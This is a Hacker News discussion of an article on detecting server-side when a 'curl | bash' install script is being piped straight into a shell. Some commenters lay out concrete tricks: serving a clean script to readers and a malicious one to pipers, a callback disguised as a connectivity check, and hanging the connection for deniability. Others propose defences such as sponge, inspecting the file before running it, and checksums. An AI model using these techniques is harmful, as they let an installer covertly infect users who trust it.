Detecting the use of "curl | bash" server-side

7 years ago (idontplaydarts.com)

The sleep cleverness is excessive though - what you really want to know is if the script you're returning is being executed as it's sent. If it is, then you can be pretty confident that a human isn't reading it line by line.

1. Send your response as transfer-encoding: chunked and tcp_nodelay

2. Send the first command as

    curl www.example.com/$unique_id

Then the server waits before sending the next command - if it gets the ping from the script, we know that whatever is executing the script is running the commands as they're sent, and is therefore unlikely to be read by a human before the next command runs. If it doesn't ping within a second or so, proceed with the innocent payload.

For extra evil deniability, structure your malicious payload as a substring of a plausibly valid sequence of commands - then simply hang the socket partway through. Future investigation will make it look like a network issue.

  • You could even get more clever with this you could drop the unique_id and just match up the remote host IP. You could probably even disguise the command as something like a "network connectivity test" in the script.

        # Check network connectivity so we can continue the install
        if ! curl --fail www.example.com; then exit; fi
    

    Of course, what actually is happening is that we've just informed the server to now serve our malicious code.

    • Remote host IP isn't ideal because of NAT (request from another host on the network exposes your malfeasance), or if your target may be using something like TOR (two requests might have differing remote IPs). But there's a bunch of tricks to get unique info out of a network request that you control the parameters to. Presumably there aren't that many concurrent invocations of your script, so only a few bits of entropy are actually required. Best way is probably to have a bunch of domains and make it look like they're various mirrors you're downloading binaries from - then it's not suspicious that it changes for different machines or requests.

      2 replies →

  • That's mistaken because:

      bash -c "`echo echo hi`"
    

    note that `echo echo hi` is fully read, and then (and only then) passed to bash.

    ditto for

      echo -c "`curl <your url>`"
    

    The curl command isn't detectable as an evaluation because it's fully spliced into the string, then sent to bash. It's easy to imagine setting up a `curl <url> | sponge | bash` middleman, too.

    It is impossible in general to know what the downstream user is going to do with the bytes you send. Even bash happens not to cache its input. But technically it could -- it would be entirely valid for bash to read in a buffered mode which waits for EOF before interpreting.

    • Which part is mistaken?

      You're of course correct that the general problem is unsolvable - but the goal is to opportunistically infect people who directly paste the "curl example.com/setup | bash" that's helpfully provided in your getting started guide, without serving an obviously malicious payload to someone who could be inspecting it.

      7 replies →

  • Hm. I tried and it does not seem to work. You can view my attempt at https://github.com/sethgrid/exploit. Chances are that I am ignorant of something. If someone knows what am doing wrong, please let me know!

    The code starts to send chunked data and polls for a return curl call from the downloaded script. If the script's curl call calls home, the download will chunk out "bad" bash.

    What I see happening is the downloaded script does not fully run until fully downloaded.

  • This would reveal your intent to a human reader. I think the author of the article was trying to avoid doing that.

    • Fooling a human with bash is less difficult than you might imagine. I am fooled by bash code at least half the time I interact with a shell script I didn't write myself. A misleading comment plus an innocuous looking URL, coupled with the fact that an installation script can be expected to download files from the internet in order to install them would make this slip past nearly any reviewer.

On the evading detection side, one other simple way to avoid this is to add sponge[0] between curl and bash in the pipeline, i.e. curl ... | sponge | bash. sponge consumes all input until EOF before outputting anything, stopping bash from executing a partially downloaded script.

[0] https://linux.die.net/man/1/sponge

So yes, curl bash can be dangerous. But it's just so darn convenient. And when it's coming from a very prominent trusted source like for Get Pip or Amazon AWS it's hard not to just go with.

Surely there's some compromise middle ground? Let me download "safe-curl-bash" (scb) that only runs a script if it's trusted in some manner? Maybe the checksum matches from a crowdsourced database.

"Sorry only 9 people have declared this script valid and your threshold is 100. Here's a cat of the script and we will ask you if it looks valid or not or don't know."

I also think it's a bit more realistic than the, "anyone who does this should be reading the script first to check that it's safe." Yes, and I check the passenger jet for flaws before I board, too!

Just spitballing.

  • > Yes, and I check the passenger jet for flaws before I board, too!

    There is an entire infrastructure of people and processes in place to make sure that you don't have to check your passenger jet for flaws to be reasonably sure it's safe. No such infrastructure exists to protect you from the consequences of curl-bashing software off some random Web site.

    • If you're installing software off some random website then you're already hosed no matter what the install process looks like.

      Say you already trust the website you're downloading from, is there an increased security risk doing curl | bash as compared to rpm --import https://example.com/RPM-GPG-EXAMPLE && yum install https://example.com/example.rpm

      No matter what you're putting 100% faith in the the server and the TLS connection. There are a lot of reasons to prefer packages, but I don't think security is one of them.

      2 replies →

    • Good use case for IPFS. You could curl a hash and check that hash against signatures commited to a blockchain. If the set of signatures exist that you trust, then it's golden, if not, no exec.

      2 replies →

    • > when it's coming from a very prominent trusted source like for Get Pip or Amazon AWS

      Not a random website, and they do have an infrastructure.

  • Security and convenience are almost always a difficult tradeoff. In the case of curl'ing scripts from trusted websites, what is the benefit for the average lazy user? Are you using an OS that doesn't have a signed package with the same library/program?

    It's not trust now that you need to worry about. It's trust later, when curl-bash is part of an automated pipeline that no one pays attention to.

  • Your solution depends on third parties checking the script or going based on some knowledge of "trusted sources." That has nothing to do with this hack, which exploits those who are "verifying" the script themselves before executing it.

    The simple solution here is not to use curl/execute with a pipe. Just wget to save the file and check it locally (rather than through a browser) before executing.

  • I think the arch user repo does this correctly by asking, "do you want to edit the packagebuild?" You can just press n to accept defaults, or y to take a look under the hood and make edits before continuing.

  • Preventing the bad guy from "validating" his own script a million times is difficult. At the end of the day, I think security basically has to come from "I trust the website that I'm on."

Neat! But it's not obviously a bad idea. You have a TLS connection with the site you're downloading from. `curl | bash` is no worse than downloading a .dmg or .deb from the same server would be.

  • > You have a TLS connection with the site you're downloading from. `curl | bash` is no worse than downloading a .dmg or .deb from the same server would be.

    This site's argument is that the software publisher can selectively attack users during a live software install, in a way that they don't stand a chance of detecting by inspection (or of having proof of after the fact).

    • I mean, I guess I see them making a three-stage argument:

      1) Distributing software via bash script is a bad idea

      2) Sensible people review the bash scripts they downloaded before running them

      3) But haha! Here is a clever trick that evades that review.

      And I'm not persuaded by 3) being interesting because I already rejected 1) and 2), and I consider 3) to just be proving my point -- you (for all you!) are not competent to perform a very brief but somehow thorough security review of a shell script that probably has further dependencies you aren't even looking at, and the actual reasoning to apply when deciding to install software this or any way is purely "Do I trust the entity I have this TLS connection open with to run code on my machine?".

      8 replies →

    • >in a way that they don't stand a chance of detecting by inspection (or of having proof of after the fact)

      What do you mean? They could `tee` curl output to a file (or elsewhere, for archives). They could also suspend passing the output to bash until they've verified the output (perhaps they would run a hash function and compare the result).

      4 replies →

  • Alice and Bob are both installing something on their computers. It is available as both a .deb and via "curl | bash". It is not malicious...but it does turn out to have a serious bug.

    They both install, and both hit the bug and find that it has completely and utterly broken their network configurations bad enough that they have no network access at all.

    Alice installed via the .deb. She can look at the scripts in the .deb and see what it was messing with, which gives her a big head start on figuring out how to fix it at least enough to connect to the network backup server and fully restore her network configuration.

    Bob installed via "curl | bash". Bob is now left using find to look for recently changed configuration files, and paging through the out of date O'Reilly books he has from the old days when programmers owned physical books, trying to remember enough about network configuration to recognize what is wrong.

    Trustworthy sites do not serve you malicious code. They often will, however, serve you buggy code.

  • The difference is that you can inspect it before you run it if you download it. If you pipe it into bash you don’t know what you’re getting, even if you previously inspected the data provided by that URL.

    • I don't feel the need to review the source code for every install script I run.

      I don't read the source code for almost any of the code on my machine today. In most cases where I see `curl | bash`, I'd probably already be screwed even if I review it. Most install scripts and up doing "hit website, install thing" anyways - am I reviewing the second stage install script also?

      1 reply →

    • That's a way in which "curl | bash" distributed software is better than .deb/.dmg distributed software, right? Because you have the potential to inspect the script first, if you have some kind of ridiculous confidence in your ability to perform security review of an entire software product in the moments before you decide to install it.

      But it's never presented in that way, as a feature. It's presented as a terrible way to distribute software.

      1 reply →

    • If inspecting a script is a good way to avoid evil software, bugs would not exist.

  • deb/rpm is better because it's usually signed by maintainer with GPG keys. I think that it's harder to steal keys from maintainer than to infiltrate web server.

  • Downloading a .dmg is not running any code, which makes it 100% better at preventing malware installation than curl | bash.

  • dpkg/packages have sanity checks to make sure that files aren't being overwritten, and things are generally in a sane state.

    curl|bash involves no checks, and no system integration whatsoever.

    • dpkg doesn't stop you overwriting system files in a post-install shell script, as far as I know? Which is the way that a malicious package would choose to do it. I don't think dpkg performs any meaningful security review in the way you describe.

    • Would you like me to craft you a .deb/.rpm which totally trashes your system? Packages can and very often do leverage the ability to run arbitrary scripts but nothing says I can't do serious damage even without that.

      2 replies →

You could just have the script detect that its stdin is a pipe. E.g., Linux specific:

  $ echo 'ls -l /proc/$$/fd/0' | bash
  lr-x------ 1 kaz kaz 64 Jul 28 21:03 /proc/23814/fd/0 -> pipe:[4307360]

Here, our script consists of the ls command; it shows that when we pipe it to bash, it finds fd0 to be a pipe.

We can make some code conditional on this to produce a "don't run this script from a pipe" diagnostic.

This is superior to the dodgy, delay-based server side detection because it is reliable.

Also, it still works when someone does this:

  $ curl <url> > file
  $ cat file | bash

Of course, no protection for

  $ bash file

  • This logic would be detectable to a user who reads the script. The goal here is to trick users who first inspect the script and then `curl | bash`

Half the problem with `curl | bash` installation is not related to whether or not you trust what your downloading...

The more important reason why it is a _horrible_ _stupid_ mechanism for software installation is that it is not _repeatable_.

It is well understood that casual .deb .rpm usage requires an equivalent level of trust as downloading anything else off the internet... but they have the added advantage of being _consistent_ _repeatable_ and _mirrorable_... I can copy the entire repository of any version of debian I want to my local file server, and use that to spin up however much infrastructure I want. And the only person I need to rely on after I have fetched the initial packages is myself.

  • Plenty of those scripts simply detect your operating system and then interact with the system package manager (adding a new repository, updating the package index, then asking the package manager to install it).

    • I would far prefer that software projects assumed competence in the installers knowledge of their systems package manager and just listed the specifics... honestly how hard is it to just say "here is our $gpg key" "here is our $apt_repo_url" the package name is "$foobar". And let competent system admins take it from there. Most of the time you end up de-composing the scripts into ansible/$sys_automation_tool_of_the_week anyhow.

      1 reply →

I wish there was a standard way to check a checksum, so that download instructions could just include that in the snippet to copy paste.

I wrote a tool that could be used like that but it's useless if its not ubiquitous (https://github.com/mmikulicic/runck)

  • Since copy-pasting to the terminal is also unsafe[1], it's not really a solution...

    At any rate - code-signing doesn't really help if the author is the attacker.

    [1] http://thejh.net/misc/website-terminal-copy-paste

    • Sure, but that's harder to hide. Any user could paste somewhere where nothing gets executed and the expose the hack attempt. Pipe to bash has the interesting aspect of letting the author inject hacks only to people who are not looking.

      Anyway, the use case for my runck utility is scripts such as dockefiles or CI automation where I want to download and run installers and I don't want to reduce the bash boilerplate.

I always read the code first, but many times there's additional curl > bash and if I check that url there are yet more curl > bash several layers deep with branches. And they want me to run this as root ...

Regardless of the installation method it sounds like we need to be running all applications in their own individual virtual machines (e.g. Qubes OS) or within a restricted environment with limited permissions (iOS)

  • How do you install the virtual machine software ? Where do you put the trust ?

    • Worse, what happens when I do want the applications to communicate?

      An amusing gotcha I found with docker was how do I convince the servers I communicate with from in the container that I am me? Best bet was to map my user into the user on the container, but that was actually ridiculously fraught with trouble. (There is a chance this has since been fixed...)

      2 replies →

> a knowledgable user will most likely check the content first

Really? Are they going to read every line of code and every line of code in every dependency that the install script installs?

The bash detection is clever but I think its a solution to a problem that doesn't exist.. Its already very easy to install hide malicious code in plain sight, why go to all this trouble to detect if the user is piping to bash?

For example, see how easy it is to publish a fake npm package or a .deb package:

https://hackernoon.com/im-harvesting-credit-card-numbers-and...

https://github.com/ChaitanyaHaritash/kimi

This is immune to the attack:

    bash -c "$(curl -sSLf $URL)"

The key is to download first and then run

  • Or better yet:

    curl $URL

    less $FILE

    bash $FILE

    This attack only works at all if you download something and execute it immediately without looking at it.

The obsession against shell pipes is so absolutely absurd. You’d download a dmg and drag it to your apps but not shell pipe? You’ll sudo dpkg -i but not a shell pipe?

Can anyone point to a single case of a shell pipe ever being abused ever?

  • If a tree falls in a forest and no one is around to hear it, does it make a sound?

    I certain that someone has been exploited using shell pipes.

  • I'd like to point out that the author is not directly discrediting shell pipes.

    > a knowledgable user will most likely check the content first

    The obvious workaround would be to download with curl, inspect, then run the virtually same inspected file through bash. This workflow is easier without necessarily using pipes. Package files can also be inspected before running and are not directly inspected in the browser.

    Trust on the other hand is more complicated. Without doing tedious manual inspecting, you have to rely on the distributor. In this case, public keys aid in this regard, but also does not work with the `curl | bash` workflow.

  • Bash: execute an unsigned script to install an unsigned payload. Probably requires admin rights.

    dmg: download an archive file which contains a signed payload which is copied to Apps. Admin rights are used for copying only.

    The difference is blindingly obvious.

I have proposed a solution to this: have the snippet self-hashed and verify with multiple sources. eg:

A=$(curl -L https://get.rvm.io);echo "$A" | shasum -a 256 | grep -q 05b6b5f164d4df5aa593f9f925806fc1f48c4517daeeb5da66ee49e8562069e1 && (echo "$A")

The main reason to use `curl | bash` is because it's installed almost everywhere. Everything else can be bootstrapped from that.

If there was a standard `curlbash <URL> <SHA256>` program that was installed everywhere it would allow to work around all of these issues.

What I leaned in addition to the sleep trick:

> Execution in bash is performed line by line and so the speed that bash can ingest data is limited by the speed of execution of the script.

So even without any clever detection logic, thinking of curl | bash as "downloading a script, then immediately executing it" is already wrong.

It's more "give this remote host a poor man's shell to my machine and hope that they will always execute the same sequence of commands on it".

Recent Chrome Canaries show ERR_CERT_SYMANTEC_LEGACY on this host. Gotta refresh those TSL certificates before September!

Let's say for discussion that we allow this curl| bash process because it is from a "safe" source.

How do we come back next week and ensure some other process hasn't changed the files ?

Package your files with a signed system. Auditing the files is trivial after that.

I use curl and bash to launch a script I wrote to install my versioned home files, and it is worth to use this method. It depends on what you need, in my use case is really comfortable. It is a matter of trust.

You could prevent the detection by wrapping contents in a block, so Bash reads it entirely before evaluating it: `safe_curl() { printf "{\n"; curl "$@"; printf " \n}"; }`

  • Quite a sensible precaution anyway, as network interruption may otherwise leave you with a partially executed script.

Erm, why not just configure auditd to detect it instead? Though not sure how widely available that facility is outside of Red Hat.

This is silly. You have no idea whether someone is simply using a honeypot VM is o test what gets sent or actually using this approach to install.